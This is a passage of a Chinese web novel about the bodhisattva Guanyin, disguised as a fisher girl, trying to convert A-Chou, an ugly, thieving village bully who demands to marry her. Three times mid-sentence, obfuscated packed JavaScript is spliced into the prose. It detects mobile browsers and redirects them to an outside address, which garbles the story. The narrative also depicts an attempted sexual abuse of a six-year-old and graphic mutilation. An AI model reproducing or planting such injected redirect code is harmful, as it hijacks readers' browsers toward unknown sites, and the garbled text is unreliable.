《观音从此,不敢看我》 1. 东海之滨 金光摩霄汉,祥云描须弥。 云端高处,众僧仰望,佛音广厚遍传雷音。金色莲台上,一尊大佛金光夺目,执礼相语。 佛祖从座,观世音尊者坐青狮一足垂地,手端净瓶插杨柳,面目清澄不惹尘埃、眉如远山不可捉摸、目似明星虽朗照人间而遥不可及。 忽一名僧人离座站问:“闻大士多行于南蟾部洲,佛祖曾言南赡部洲者,贪淫乐祸,多杀多争,是非恶海。可曾有遇到过不度之人?又当如何?” 尊者双脚落云端离了座台,步步生莲,双手合十行礼回答,道:“众生愚昧,方行教化,佛无不度之人,无不可度之人。” 那僧人若有所思,似不信无不可度之人。 佛祖低声唤道:“阿难,你向佛之心未定,去藏经阁吧。” “是。” 待到佛法大会结束,众菩萨罗汉僧人都回了自己道场,观世音尊者将往人间度众生去。金蝉子跟随轻声唤道:“大士留步。” 尊者顿足,询问何事? 金蝉子说:“南蟾部洲多杀多争,自殷商灭亡,天地封神,武王姬发代商立周,至今已八百年。我上次去南蟾部洲,还是八百年前的事,不知如今是何景象?大士常行于人间,可否告知?” 尊者点头,将如今道来。 周四百年便毁在了幽王的手里,而后天下分崩,虽有大周之名,却各国自封,诸侯吞并,各自为霸。 群雄争霸纷乱又四百年,而今,秦王赢氏横扫六合席卷八荒,一统中原,自认为功盖三皇高过五帝,便名皇帝。 金蝉子闻言笑道:“看样子天下总算太平了。” 尊者不言,只微微摇头。 此去南蟾部洲,仍旧是因人间疾苦,天下大势之兴亡,爱别离、怨憎会,是不会消失的。 东海之滨,居于化外。愚钝贪婪,知神而不敬神。 此地有一个小渔村,村中有位知名的恶霸,因样貌丑陋十分惊悚,人们都叫她“阿丑”。 阿丑是个外来户,据说出生时吓死了接生婆,一家人被赶出村子才来到了小渔村。随着阿丑的长大,就连她的父母都忍受不了她的丑陋粗鄙蛮横,在一个月色朗朗的夜晚,将阿丑独自留在小渔村,再次搬家。 阿丑有多狠呢。 在爹娘不想将她抚养长大的时候,他们下不了死手,决定将她饿死。她没了奶水喝,便去捶打比自己大一岁的哥哥肚子,让哥哥喝多少就吐多少,哪怕是特意抱开了,她也爬到哥哥身边狠狠打。 她没有的,别人不可以有。 别人有的,她也要有。 爹娘哭着懊恼着说她是个天生的坏胚,小阿丑浑浊的眼睛看着他们,那时候的她还听不懂那般恶毒的咒骂。 稍长大些,六岁的时候。家里这些年清楚她的性子,偷偷攒了钱做了两束肉让哥哥跟着一个逃难来的儒生读书,但对她说是去田里干农活了。 阿丑好吃懒做,农活是不愿意干的,也就没有跟着去。 阿丑被单独留在家里,有天一个老光棍拿着个鱼饼过来。 与她说:“阿丑,这个鱼饼给你吃,只要你让我弄一下子。” 阿丑听不懂话里的意思,只知晓有鱼饼吃就应下了。 等到那老光棍解了裤腰带,她直勾勾地盯着那个自己没有的东西。 “为什么我没有,你有?” 老光棍笑得猥琐,说:“你当然没有,你‘要’的话,我就‘给’你。” 小阿丑浑浊的眼睛盯着他,认为他脸上高兴的表情是在炫耀自己拥有的东西。她取了柴刀就将那物砍掉,平静地说:“我没有,你也不能有。” 这样的事情自然很快就闹大,老光棍成了残缺,没脸见人就投海死了。 再长大些十岁的时候,阿丑看见娘在攒钱,每日都往一个土罐子里装钱,说那是哥哥娶媳妇的钱。 阿丑不懂,说自己也要攒娶媳妇的钱,哥哥有的,她就也得有。 这一回爹娘没有应下,说她不可能娶媳妇,只能嫁人……不对,应该也嫁不出去。 或许也就是这个话题,让爹娘意识到一个嫁不出去的女儿,他们要将她抚养到老。才终于下定决心,将她彻底抛弃,在深夜带着哥哥离开了小渔村。 阿丑很早就知道爹娘不喜欢自己,迟早会抛弃自己,所以她偷偷替换了哥哥的罐子,把钱拿走,换成了泥块。 那个明月朗朗的夜晚,她抱着装了一半的钱罐子,坐在简陋的茅屋上数着星星。 “月亮啊星星啊神仙们呀,我总能听到孤苦的农人得到漂亮神仙老婆的传说,我也孤苦一人,能不能也送我一个漂亮老婆?”童言无忌,尚不知所言何意,只是觉得—— 别人有的,我也要有。 又过六年,阿丑已经是当地知名的恶霸。 有人说她可怜,也有人说她可恨。 可怜她的人并不助她,憎恨她的人不敢伤她,她实在是……太丑了。丑到以为是恶鬼在世,以为伤了她就会被冤魂纠缠祸害家人。 这一天,阿丑带上那罐子钱,打算离开小渔村。 “哼,两个老家伙说我不能娶老婆,这里的恶心东西也说我不能娶老婆,我非要娶!这里人都怕我,我换个地方找不就是了。”阿丑一路嘀咕着,自从小时候父母为哥哥攒钱说将来娶老婆开始,她那别人有我也要有的理念就将此事铭记在心。 村镇里的乡邻都害怕她丑陋的面貌,又总是被她偷窃,自然不会告知她娶不到老婆的原因,看她气急败坏就当是个乐子。 才到村口,却见一个外乡来的陌生渔女被人推搡在地。那渔女长得也极丑,脸上一大块枯黑的胎记如同鬼魅,围着她的路人说尽羞辱之词,还将鱼篓里的鱼给扔进了池塘里。 “哈哈哈哈哈,又来一个丑八怪!不过比阿丑是好多了,她不是总想讨老婆吗,她们两个凑一起算了,省得祸害别人!” 阿丑听到在议论自己,自己跑了过来,一脚就踢在村民的小腿上,说:“这一个月,我盯着你家偷!晚上别睡太死,我吓不死你!” 任谁也不希望自己熟睡的时候被人叫醒,结果看到一张丑到恐怖的脸。 几个村民不敢反驳,互相拉着就跑开了。 “喂,你没事吧?放心,这里是我的地盘,你丢的鱼嘛,一会我去帮你偷一篓子来。”阿丑很是随意的将摔倒在地的渔女扯起来。 渔女低垂着眼眸很是伤感,说:“多谢姑娘救我,你竟不怕我……”渔女抬头看向恩人,不由一愣。 世间当真少有这般丑陋的人,面目狰狞骇人、蓬头垢面。一双浑浊的眼睛,乍看以为是个瞎子,然而她盯着自己的视线是真切的。 “你……”阿丑顿时来了脾气,她虽自知世界上肯定没人能比自己丑,却也接受不了同为丑人还嫌弃她丑,“你!你长得也不美,自己照镜子的时候没被吓到过吗?怎见了我就觉得吓人了。” “……”渔女微微摇头站了起来,轻轻掸去身上的土灰,被黑斑遮了一半的面目上竟能看出些许慈悲,与阿丑说:“你心地好,帮了我,我只是有些惊讶……竟还有同样遭遇的可怜人。” 阿丑哈哈大笑,说:“可怜?我怎可怜,我可怕!桀桀桀……” 阿丑不仅长得丑,笑声也很可怕。 如此不合时宜的乐观心态让渔女眼中有淡淡笑意,只道一声:“你有慧根。”话刚说完,阿丑的手掌心里多了一块金子。 阿丑疑惑抬头,却见眼前的渔女已经消失不见。但在远处的山尖上遥遥立着一位身披素纱、点缀宝石金饰、手持净瓶插柳的漂亮神仙。 阿丑得了金子很是高兴,立刻装进了那个存放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599082|171990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讨老婆的钱的罐子里。 她盯着远处山尖的漂亮神仙,想到自己曾向星星许的愿望:难道……真有漂亮神仙思凡了? “喂……你能不能做我老婆啊——”阿丑对着远处的山高呼。 只一眨眼,漂亮神仙不见了。 阿丑想了想,先不离开小渔村了,近期有神仙出现! 第二天她到集市去为非作歹搜罗吃食,没想到竟又遇到一个陌生渔女被人围着。 不是昨天的丑渔女,这一位渔女美貌至极,令人移不开视线,周围的人也不是欺凌羞辱,而是众星捧月,纷纷求娶。 “这位姑娘实在美丽,我愿休妻,娶你为妻!” “哎哟身上还有香味呢,不像那些个卖鱼的女人身上都是鱼腥味。不如跟了我享福吧?” 面对围着自己的出言调戏的男人们,渔女并未感到羞怯也没有恼怒,仍旧是淡淡笑着,说:“客人,买条鱼吧。” “哎哟,好说好说,这摊子上的鱼我全包了,就在我们的婚宴上吃,哈哈。” 渔女仍旧笑着,说:“我卖的鱼,不能吃,只能用来放生。” 人们不由说笑起来,花了钱买的鱼不吃,拿去放生实在没道理。但为了讨得美人欢心,几位看热闹的有钱人随手就将钱币抛在鱼篮里,说:“全买下了,如此,可答应随了我?” 渔女摇头,说:“你们这么多人,我又不能都嫁。”说时她蹲下从一旁的包袱里翻出一卷帛书,缓缓展开道,“我自小喜爱佛法,今有一部《妙法莲华经》,此乃其中一品,名为《普门品》,你们若有人能一天之内将它背诵出来,不论身份高低,我都愿意嫁给他。” 众人雀跃,就连那些摆摊的贩子,路过的农户,都想试试看。 “这帛书只有一份,若是传阅,一天的时间哪够呢?” 渔女微微垂目,说:“我家就在镇子最南边,今日午时讲此经,可自带布帛抄录。” 有意求娶的众人皆是喜笑颜开,立刻就跑回家去备好笔墨。至于那些贩子路人,面露难色,整个镇子识字能书写的,也只有极少数人,像他们这样的平民别说是抄录了,家里都找不到一块平整的布帛。 在人群最后面的阿丑却很是疑惑,镇子最南边,那不是自己的家吗?乡邻们对她向来是避而远之,放眼望去只有她家一座茅屋,什么时候搬来的漂亮邻居,自己竟一点印象也没有。 阿丑觉得古怪,立刻跑回了家去,的确没记错,附近就是只有自己一户人家。 刚确认完毕,就在不远处一棵树旁,眼睁睁看着空地起竹楼,一个颇为精致的屋舍立在那。 只有神仙才能办得到吧?!神仙?神仙…… 阿丑翻出那块神仙赠送的金子,昨日漂亮神仙化作丑渔女,会不会今日的漂亮渔女也是神仙变的呢。 那个漂亮神仙说了,不管什么人,只要能通过背诵经文的考验,都会答应嫁过来。果真是神仙思凡了!太好了,自己也能和听过的故事里那样,有个漂亮老婆了! 阿丑认真地想:神仙如果嫁给了我,我是不是也能当神仙?当了神仙,就有吃不完的东西,不用偷抢别人家的剩菜剩饭了,也不用担心打架打不过别人了。 到了午时,那位漂亮渔女带着一条长长的队伍来到的镇子的最南边,也没见是怎么走上竹屋台阶的,已然端坐在架起来的竹屋地板上,单膝盘腿,另一只脚自然垂下,手捧《普门品》。 风里伴着淡淡的檀香,为得到美人而浮躁的男子们,也渐渐平静了下来。 很快,他们想起来一件事,镇子最南边,似乎是那位恶霸阿丑的家。 视线看去,正好看到阿丑背着手笑嘻嘻地走过来,因长得丑,即使是开心的笑也显得十分狰狞。 她毫不客气,直接就站在渔女的正前方,说:“我也想娶你!” 2. 渔女招亲 小渔村周遭的人们哪怕是早就见惯了阿丑的样貌,每次遇到也还是会感到惊吓。此时听到她说要娶这个漂亮渔女,更觉荒诞可笑。 且不说她也是个女子,即便是个男子,这丑陋的样貌即便腰缠万贯也没有人瞧得入眼的。 阿丑听到周围细碎的议论嘲笑声,不以为然,看向渔女说:“既然是任何人背出来都行,凭什么不让我听。他们能娶老婆,我不能娶?” “哈哈哈哈哈……”周围众人哄笑起来。 阿丑冷哼一声往家里跑,把那个保存了很久的钱罐子拿了出来,原先装着的半罐子是爹娘帮哥哥攒的,被她调换来的。还有一半的钱是她这些年攒的,至于来源,是从这个镇子上每一户人家里取的。 罐子的最上面,是漂亮神仙给的那枚金子。 众人看到这一罐子的钱,就猜出都是阿丑偷抢所得,尤其那枚金子,她怎么可能有金子!不知晓是哪位权贵人家的,丢了东西没跟她计较,她竟还拿出来显摆! “这些都是赃款!你藏着也就罢了,既然拿出来了,就该还给我们!”前来求娶渔女的人们,立刻转变了态度,要申讨阿丑这个恶霸。 平日里人人都怕她的丑陋样貌,一两个人是不敢找麻烦的,现在几十号人呢,一人一句话加起来都声势浩大。 “到了我手里就是我的!”阿丑不占理也力争,“你们才是要抢我的钱!”她浑浊的眼睛盯着抓着罐子的一双双手,张嘴凶狠地咬过去。 众人几乎同时将手抬起来躲开,也使得一股力气把罐子扔得高高的。 阿丑的视线追随着罐子跌跌撞撞跑过去想要接住,感觉后背撞到东西停了下来,听到罐子落在什么上的很轻的声音。 她转身抬头,看见端坐在架起来的竹屋地面的渔女,钱罐子就落在那只白玉般的手中,稳稳当当地托着,慈悲的眉眼看了看她,又与众人说: “只要能在一日之内背诵出这《普门品》,任何人,我都嫁。”这渔女乃是落伽山观世音菩萨所化,来这多杀多争的南蟾部洲普度众生,今日的美丽渔女和昨日的丑陋渔女都是一样的,皆是为考验当地人的善心品德。 佛家有言众生平等,这姑娘虽样貌丑陋,其质纯净犹如初生,似是不曾有人教她人间道理,凭本能与世人相处。 因此,菩萨萌生指引之意,将她引入正轨善道,乃是功德一件。 “若是你能背出来,我同样也嫁。”菩萨又特意与阿丑说了声,若能有向善求佛之心,不论是什么原因,只需看最后的结果。 “桀桀桀——”阿丑又发出她古怪可怕的笑声,抢占了第一排。 渔女貌美至极,温柔的眉目仿佛描了初春的晨光,音色空灵似穿竹林飘出来的叶,视线扫过在场所有人,让众生仔细倾听。 只有少数人带着笔墨布帛过来抄录经文,其他人都是不识字的百姓商贩,想着多听几遍兴许能背下来呢,反正是白得的美娇妻,试试又何妨。 阿丑没读过书自然也看不懂帛书上的文字,只能聚精会神地听着渔女的每一个发音,凭此记忆。 《普门品》有两千多字,只凭听声音跟着背诵是根本记不住的,其中还有很多听都没听过的词,是何意尚未知晓,更增加了背诵的难度。那些抄录好了文字的权贵纷纷离开此地,回家去专心背诵,否则在这里盯着美人说话,哪还有背诵的心思。 菩萨所化的渔女照着《普门品》讲了一遍,凑热闹的百姓走了一半,听不懂也记不住。 又讲了一遍,又走了一半,还是记不住,何况天色渐暗。 讲了三遍,只剩下阿丑还在原地站着,眉头紧皱听得格外认真。 “你还不走吗?”渔女垂眸问询。 阿丑摇头说:“我马上就能背下来了,要是现在走了,天黑困乏睡了一觉,兴许就全忘了。” “哦?你已经能背下来了?”渔女眼中有赞许之意,只听三遍就能背下来,果真是有慧根。 “我只照着你说的记,不知晓是什么意思,你若是能仔细解释,我重新理一遍兴许就背下来了。” 菩萨已有点化之意,便细心解释。品中所言“观世音菩萨”,乃是佛门弟子,虽修行圆满而不愿封佛,只为普度众生。品中所载,便是观世音行走世间渡苦厄、救劫难、应所求的事迹。 阿丑听后心跳不止,有求必应?天底下还有这样的好事? 她连忙问:“这个菩萨是在哪里能找到?” 菩萨微笑反问:“你找菩萨,为求何事?” 阿丑为难地挠了挠头,没有立刻接话,心里琢磨着:这个渔女和昨日的渔女应该都是山上见的漂亮神仙所化,是思凡来招夫的,机会难得,我若是娶了神仙,我能当神仙。可这提到的什么菩萨,好像更厉害许多,我若是去找菩萨求娶,错过了眼前的漂亮神仙,万一菩萨不答应,我岂不是两边都娶不到? “没事。”阿丑想明白了,说,“不管菩萨了,我还是娶你吧。” “……”菩萨一时语塞,行走世间数千年,大圆满已一千三百多年,已经极少有感到困惑的时候。按照刚才问答的逻辑,难道她是在考虑娶菩萨好,还是娶渔女好? 这姑娘的想法,当真古怪。 阿丑不再想别的,就认真听每一个发音,学到太阳落山,月亮高挂。越是努力去背,越羡慕菩萨的神通广大,没有从经文中学到什么向善向佛,反而心生嫉妒—— 为什么神仙菩萨能轻易办到的事,自己却不能。 她嫉妒凶狠的眼神盯着那片写得密密麻麻的《普门品》帛书,抬头看向讲经的渔女时则换上笑脸,只不过她过于丑陋,真心笑时也显得几分狰狞。 阿丑当天夜里就已经将经文背了出来,但按照约定,时限是到第二天的子时过去才算结束,明日如果没有其他人能背出来,她就能娶到漂亮渔女,如果还有其他人能背出来,便还要再筛选。 “我最早背出来,不算数?”阿丑听到渔女的解释,很是生气,嘀咕道,“我要的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599083|171990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁也不能抢。” 话罢,便离开了竹楼。 阿丑的想法很简单,只要把今天见到的那些来求娶的人全都割掉舌头,让他们没办法背诵,不就行了?她做事向来直接,眼里没有什么是非善恶,只有能否得到自己想要的东西的急躁。 屋外朗月高照,竹林里几道影子蠢蠢欲动。 风吹过竹林时发出如同马嘶的声响,亦像是躲藏着怪物,将要在黑夜里出来,一声声都是哀嚎。 菩萨掐指,叹一声阿弥陀佛。诚如佛祖所言,南蟾部洲,险恶之地、愚昧未化、贪淫乐祸。藏在竹林缓缓靠近的,是白天前来求娶众人中的两人,此时夜深偷摸过来,自然不会是什么好事。 “是谁在那?”菩萨所化的漂亮渔女特意走出竹舍,用还没走远的阿丑能听到的声音惊呼一声。 竹林里立刻窜出来两人,面露狠色,试图将渔女拖进竹林,嘴里还不干不净:“一个外乡来的女人还挑上了,背哪门子的经文,什么佛法菩萨惹人烦。今夜就把生米煮成熟饭,看你还能挑谁!” 就在渔女将被拽进竹林之际,听到声音的阿丑扭头看了过来,当即暴怒,大吼道:“找死的狗东西,竟敢抢我老婆!” 阿丑冲进树林,浑浊的眼睛在黑暗的环境下竟似动物一般有着幽幽绿光,恶狠狠地盯着两个心怀不轨的歹人。忽地,她笑了笑,说:“你们来了也好,我本想去你们家里找你们的。” “你、你……你找我们做什么?”那两人强装镇定,可阿丑实在是太丑,再加上那双可怕的眼睛,以及她脸上又怒又笑的古怪的表情,当真是恶鬼在世。 阿丑说:“我想去拔掉你们的舌头,不让你们背出经文。” 恶鬼要拔他们舌头!两人一听更觉胆寒,满脑子的不轨也只剩下恐惧,扭头就要跑。 阿丑追了上去,按住一人就掰开对方嘴巴,听到嘎嘣一声下巴脱臼的声音。歹人感觉舌头上传来一阵又辣又咸又苦的味觉,然后是痛觉,这才反应过来是阿丑那双脏兮兮的手抓住了自己的舌头。 “且慢,切勿伤人。”菩萨慈悲,此举只是为了考验阿丑的善心,并不是为给歹人教训。她不顾危险前来相救,就说明本心不坏,是个能度之人。 白玉般的手拉住阿丑的手腕,微凉的触觉也似玉。黑夜的竹林,月光也被层层竹叶遮挡,阿丑只能看见渔女的一个阴影轮廓,手腕上的触觉则更加明显。 阿丑愣在原地,也松开了那歹人,那人仓皇而逃,明天是必定不敢再来了。 “你,拉着我的手?”阿丑自言自语,“我长这么大,没有人拉过我的手,他们说,我是恶鬼,被我碰到就会倒霉。但我看他们抢我钱的时候,好像就不觉得会倒霉了。” “你心地善良,只是不曾有人教你道理。” “善良?我吗?”阿丑反问,“他们都说我坏透了,我娘也说我是天生的坏胚,他们都怕我,多好呀,桀桀桀桀桀桀。” 菩萨的手僵了一下,微微摇头。 3. 竹篮打水 阿丑为了不让别人再来抢老婆,干脆就在竹舍门外躲着守夜。微风轻拂,鼻子里是淡淡的檀香味与竹叶的清香,不知不觉竟睡着了。 菩萨慈悲摇头,弹指轻笑,一层薄薄的被褥盖在了阿丑的身上。 青灯微亮,白玉般的手缓缓编织着鱼篮。 第二天中午,前来求娶的人们再次来到竹舍前,只不过少了一大半,让他们一一背诵,竟只有六个人能背下《普门品》。 菩萨所化的渔女便说:“我岂能同时嫁给六个人。” 阿丑揉了揉睡眼,听到声音连忙纠正,说:“七人!还有我呢,我也背出来了!” 因要继续筛选夫婿,所以又提出一天之内背诵《金刚经》,同样不管是谁,只要能背出来,就选为夫婿。 和昨天一样,识字的人纷纷抄录回去认真背诵,不识字的阿丑留下来一遍遍听,一遍遍记。 在讲解《金刚经》的时候,菩萨有心带着阿丑再重温一遍《普门品》,便提到一句“皆发无等等阿耨多罗三藐三菩提心。” 然而,阿丑一脸迷茫,眉头紧皱地问:“刚才讲的几遍,好像都没听到这句。” 菩萨说:“是出自昨日背诵的那品。” “哦~!”阿丑恍然大悟,直言说,“背完了,没用了,我就全忘了。你这次是要求背《金刚经》,我在背着呢。” “……”世上还有这样奇怪的人,记得快,忘得更快,菩萨不信,又问,“你昨日背诵多遍《普门品》,难道全忘记了,没有半点印象?” 阿丑挠挠头,又桀桀桀笑了起来,说:“我就记得那什么观世音菩萨,神通广大,不知道漂亮不漂亮。” 南蟾部洲,愚昧未化,知神而不敬神,果真如是。 说到名字,阿丑才想起来自己还不知道老婆的名字,便问:“对了,你叫什么名字?” “观……观自在。” “哦~!”阿丑听后若有所思,问,“观世音也姓观,你们是不是姐妹呀?城东的谁来着,以前是越国的官,听说娶了一对姐妹呢。唉,要不然你问问你姐妹,愿不愿意一起嫁给我。” 阿丑更觉得欣喜了,一个神仙老婆自己能沾光,两个神仙老婆就更沾光了。 这些毫无俗世基本观念的言语,和尚未蒙尘的孩子一样,乃是天性单纯。只是放在一个十六岁的姑娘身上时,世人会觉得愚蠢。 在神仙的眼里,人不分年龄,只从言语行为目的判断。一个已经长大的人,拥有婴孩般的“混沌”,才是最难得的,只是这种无善恶的状态,在大多数人看来并不是好品质。 菩萨纠正说:“观世音并非我姐妹,他在修行之前,是个男子。修行之后,无色无相无我,万千相。” “哦……”阿丑应下,还是觉得困惑,问,“难道是男子,就不能一起嫁给我了吗?” “……”菩萨语塞,这活了十六年的姑娘,竟没有人教过她最基本的常识。视线又扫到她的头发上,乱糟糟没有梳妆,脸上也脏兮兮,说是乞丐都不为过。 菩萨明知故问:“你呢,叫什么名字。” 阿丑有些惊喜,说:“你还是头一个问我名字的呢,那我告诉你,不过你别告诉别人,我不喜欢那名字,我就是喜欢别人叫我阿丑。” 怎么会有人喜欢“阿丑”这样的名字呢。 阿丑说时完全没有悲伤,反而是一种很骄傲的语态:“我生下来就长得丑,父母本想将我饿死呢,他们给我取名叫竹炉,听着像是猪猡,就是怪我长得丑。后来,我听到他们说,取个大一些的名字压不住会早夭,就又取了个小名叫天龙。” 竟会有盼着自己孩子早死的父母,菩萨慈悲垂目。 阿丑又桀桀桀地笑起来,说:“我活到现在了,哼哼气死他们。我长大后呀,人们越来越怕我,有时候突然看到我,吓得大喊大叫,阿丑来了阿丑来了,那样子可好玩了!” 说着,阿丑直直盯着漂亮渔女,说:“等你嫁给我了,跟我一起去寻他们!我要让他们看看,我也是能娶到老婆的,而且,肯定!比所有人的都漂亮,都好!” 菩萨轻叹不语。 既是不语,就是没有拒绝,阿丑又笑起来,从对面的座位挪到了漂亮渔女的身边,说:“我呀,世上没人比我丑。我觉得你这么漂亮,世上没人比你美。那我们就是绝配呀!” “……”菩萨无奈笑了笑,千万岁的神佛看一个十六岁的人,如看孩童,只当是童言无忌。 阿丑又微微挪近了一掌的距离,鼻子里的清净檀香味更安神了。 “老婆你好香啊……”阿丑凑过来闻了闻,鼻尖几乎都碰到了菩萨的耳垂。 “……”菩萨微微抬手将她拦开,指向对面的位置,“坐回去。” “哦。” 一天的时间很快过去,阿丑已经能将《金刚经》背诵下来。其他求娶者来到竹舍,这次只剩下三人能背诵,毕竟比之前的《普门品》多了一倍的字数。 “这次我给你们三天的时间,若能将《妙法莲华经》全七卷背下来,我便嫁。” 全七卷六万九千多字,能背下来的人,必定是将佛法谨记于心的人。 此次化作渔女来此的目的也是如此,世人若无外力,不会去做一件不了解不熟悉的事情。以世俗的美色诱惑,让人们接触佛法,待他们了解佛法,自然也能从世俗的欲望中跳脱出来。 仍旧和之前一样,识字的三人纷纷抄录,将近七万字,光是抄录就花了一整天。 如此耗功夫的事情,即便不能背诵,抄录下来也是印象深刻,积攒功德,半只脚踏入空门。 阿丑也和前两次一样,赖在竹舍不走,依靠反复听讲声音来背诵。 “哎呀……怎不早说还要再背一遍,金刚经我已经全忘了。”阿丑烦躁地踢了踢墙壁,说,“我就说还是拔了他们舌头省事,今天若只有我一个人背出金刚经,这事不就成了吗。” 不仅仅是背过的一天全部忘记,观念想法上竟也是半点没受影响。 也因此,她想要娶神仙这事的想法,同样没有受到影响。她眼神鉴定,说:“那就再背一遍吧!” 三天时间,阿丑除了出门去偷食物,其他时间都在这竹舍里听渔女讲经。 菩萨将阿丑的所作所为看在眼里,眉眼之中有些许困惑:难道世上真有度不了的人吗? 落伽山莲池里的鱼听经几遍都能生出灵智懂得教诲,怎一个高于动物的凡人,这些天与自己相处一室,从早到晚都在聆听佛法,却连偷盗都改不了呢。 很快,三天时间过去,阿丑记得不如之前两次流畅,但也硬着头皮磕磕绊绊背诵了下来。 没想到,这么高难度的全七卷,竟还有一个竞争对手背了下来。 “是你!”阿丑记得这人,是十几年前逃难来的儒生,也是她六岁时父母瞒着她讲哥哥送去求学的儒生。 她懂得不多,都是从别人那听到的,外头纷争,好像是七个国家,其中一个叫秦国的很厉害,把儒生的国家给灭了,他就跑来了这里。后来又听说,那个秦国陆陆续续把其他国家也灭了,如今全部合并成秦国了。 至于这里,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599084|171990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越国,也是听说来的,以前好像很厉害,就像现在的秦国一样把别人的国家给灭了,后来越发展越差,又被一个叫楚国的给吞了,吞了后也不怎么管,尤其是小渔村这种边缘地方,大家总还说自己是越国人,反正也没什么人管。 不过那些纷扰,和她一个小渔村的恶霸有什么关系呢。 想到这些故事,阿丑只嘀咕那个叫秦皇帝的人,当初怎么没顺手把这儒生杀了,真是讨厌,来和自己抢老婆。一把年纪头发都白了,不知道还能活多久呢。 “再背别的就是了,你尽管出题吧!”阿丑下定决心,这次一定去拔了儒生的舌头。 然而,菩萨所化的渔女却说:“背诵经文都难不倒你们,我这次出个不同的题目。” 菩萨走回屋内,取出一个鱼篮,带着阿丑和儒生来到河边,说:“你们谁能用这竹篮装满水,我就嫁给谁。” 儒生自告奋勇,接过篮子就往河里打捞。 “这……竹篮打水一场空嘛!姑娘,你不想嫁人,也不该如此戏耍人嘛!”儒生不悦抱怨。 阿丑盯着河面许久,说:“我能装满竹篮!不过,你得告诉我,这个考验后面还有别的考验吗?” “他已经放弃,只有你了,只要你能通过这个考验,我就嫁给你。”菩萨如是说。 “好!但是得给我一些时间。” 人间普度,本不会在一处停留太久,按照规划,小渔村传授佛法一事算是有进展,而竹篮打水是想用于显示佛法神通,驱使河中的鱼儿用鱼鳞糊住竹篮的网孔,证明慈悲之心能感化万物。 现在,菩萨很好奇,这个背诵完了全七卷还是没有半点参悟的凡人,会以怎样的方式装满竹篮。 阿丑拿走了竹篮,之后每天都往河边走一趟,但都没进行装水的行为。 日子一天天过去,菩萨也不催,仍旧在竹舍居住,每天都要将阿丑叫过来,给她讲一些向善的故事。阿丑每次都听得很认真,却从不把向善之事记在心里,她只是喜欢听老婆说话。 渐渐地天气转凉,越来越冷。 直到某天,空中飘起了雪花。阿丑高兴地拿着竹篮,说:“我去装水给你看!” 菩萨似早就猜到她所想,说:“冰非水。” 然而,阿丑似乎也猜到冰会被否决,她信心十足地说:“自然是装满水!” 来看阿丑将竹篮装满水的不仅仅是菩萨一人,还有那些求娶失败没有通过考验的人们也都很好奇,阿丑能有这本事?如果阿丑真通过的考验,漂亮渔女会嫁给一个女人吗? 阿丑身上穿的都是偷来的衣服,天冷,所以是好几件薄衣服套着穿,她凿开河面上薄薄的冰层,将竹篮浸泡到河水下就拿起来,就那么悬着不动,手被冻得通红。 竹篮上的气孔形成了一层薄薄的水膜,因冬天的低温结成冰,阿丑再将竹篮浸泡又拿起来,查漏补缺其他的气孔,如此反复,直到竹篮上所有的气孔都结了冰。 阿丑用已经冻僵的双手握住竹篮的柄,从冰层下的河水里打捞起来满满一篮的水。 那双浑浊的眼睛却有着可怕的坚定,认准的事情绝不改变。 她说:“我办到了!我有老婆了!” 菩萨被她竹篮打水的毅力和诚心所打动,手一挥,显露法相,手中拂尘一扫,竹篮回到手中,也治好了阿丑冻得通红的双手。 “阿丑,你有慧根,亦有佛缘,可随我去落伽山修行。” 阿丑喜悦的表情瞬间垮下来,双目怒视菩萨,说:“什么????你说话不算话!!我老婆呢!!” 4. 蛇鼠蜘蛛 河面结了一层薄冰,空中的雪花缓缓飘落。 一袭素纱的仙人站在高处一棵杨柳树下,冬日枯萎的柳树此时竟发出了芽儿,垂下的柳丝在寒风里飘荡,连风似乎都带了暖意。 手托净瓶,玉指轻捻。白色的薄纱衣如流云翻动,颈上戴五彩宝石璎珞,腰间环佩流苏烫金,头上佛冠如金如玉,缀朱砂蓝宝,垂披云色头纱,身后光相蒸腾,神秘美丽不可方物。 “这就是观世音尊者?”围观的乡邻之中有人高呼一声,人们很快就反应过来,这些日子为了娶到貌美渔女所背诵的经文,无一不是在传颂菩萨的佛法,本不信神佛存在,而今亲眼所见,纷纷下拜请求。 有人求财,有人求子,有人求权。 阿丑盯着那些珠光宝气的珍贵之物,更加深了要娶到这个漂亮老婆的想法,哪怕不能沾光也成个无所不能的神仙,偷偷拿走一串珠宝也足够逍遥一辈子了! “我不去落伽山,你应该留下来嫁给我才是!”阿丑从河滩一路往上跑,跑到了岸边的柳树下,拽住那飘渺的霞衣,用一种质问的语气说,“你既然是思凡来招夫的,我又通过了考验,怎能说话当放屁呢,神仙也骗人吗?” 话语粗鄙,行为不端,对神佛毫无敬畏之心。 